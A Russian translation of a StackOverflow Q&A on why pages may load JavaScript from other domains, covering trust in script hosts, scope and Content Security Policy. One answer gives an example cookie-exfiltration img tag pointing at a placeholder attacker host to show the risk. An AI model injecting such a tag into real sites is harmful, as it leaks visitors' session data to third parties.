Почему мы можем ссылаться на js-файлы в другом домене?

StackOverflow https://stackoverflow.com/questions/2068595

  •  20-09-2019
  •  | 
  •  

Вопрос

Почему когда мы ссылаемся на файл javascript на x.com с y.com (например, Google Analytics или jquery), это не вызывает каких-либо проблем с междоменной безопасностью?

Например:

в y.com/index.html у нас есть:

<script type="text/javascript" src="http://x.com/jsfile.js" />

Как мы можем узнать, когда это можно делать, а когда нет?

Это было полезно?

Решение

Он может стать серьезной дырой в безопасности, поэтому вам придется доверять тому сайту, на котором размещен файл JavaScript.

Например, этот код может добавить на ваш сайт больше тегов скриптов и тегов img, которые могут передавать конфиденциальные данные третьей стороне.

Комментарий Дэвида о политике одинакового происхождения может ввести в заблуждение.Классический способ ретрансляции данных на удаленный сайт — вставить тег img в удаленный домен:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

Если код JavaScript на удаленном хосте был изменен для динамического внедрения тега img, такого как этот, то на вашем сайте может быть дыра в безопасности.Некоторые из этих проблем можно решить, например, используя файлы cookie только для HTTP, которые недоступны через JavaScript.

Пример систем аналитики является отличным.Вы должны быть уверены, что провайдер не будет брать какие-либо конфиденциальные данные, такие как ваши собственные файлы cookie, и отправлять их в удаленное место.Вам также необходимо доверять провайдеру, который их система безопасна и что хакер не сможет изменить файлы JavaScript на их серверах.Аналитические системы обычно работают, используя те же методы, но, будем надеяться, они используют их во благо, а не во зле.В каком-то смысле это ничем не отличается от беспокойства о том, пишут ли ваши разработчики хороший, безопасный код и не используют ли они секретный бэкдор.

Относительно почему это разрешено, это просто исторично.Сеть вообще не была разработана с учетом безопасности.Будь то CSRF-атака, атака повторного воспроизведения или XSS-атака, все это фундаментальные недостатки веб-дизайна, которые теперь становятся предметом беспокойства веб-разработчиков.

Другие советы

Откуда берутся данные, не имеет значения, важна область, в которой они используются.

Вы просто получаете скрипт из другого домена, он по-прежнему работает в рамках вашей собственной страницы, поэтому у него нет доступа к ресурсам в домене, из которого он был загружен.

В ситуации, когда у вас возникают междоменные проблемы, например iframe, содержащий страницу из другого домена, у вас есть две разные области.Страница в iframe работает в области домена, из которого она была загружена, поэтому она может получить доступ к ресурсам в этом домене, но не может получить доступ ни к чему на странице, на которой размещен iframe, поскольку это другая область.

(Примечание:Я не знаю, обычно ли используется термин «область действия» в этом контексте, возможно, существует термин, который лучше его описывает.)

Я не знаю, почему мы можем это сделать.Но вы можете предотвратить это, используя политику безопасности контента (CSP), HTTP-заголовок, отправленный вашим веб-приложением, который заявляет, что оно не должно загружать JavaScript, кроме как из доменов, которые вы явно разрешаете.

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top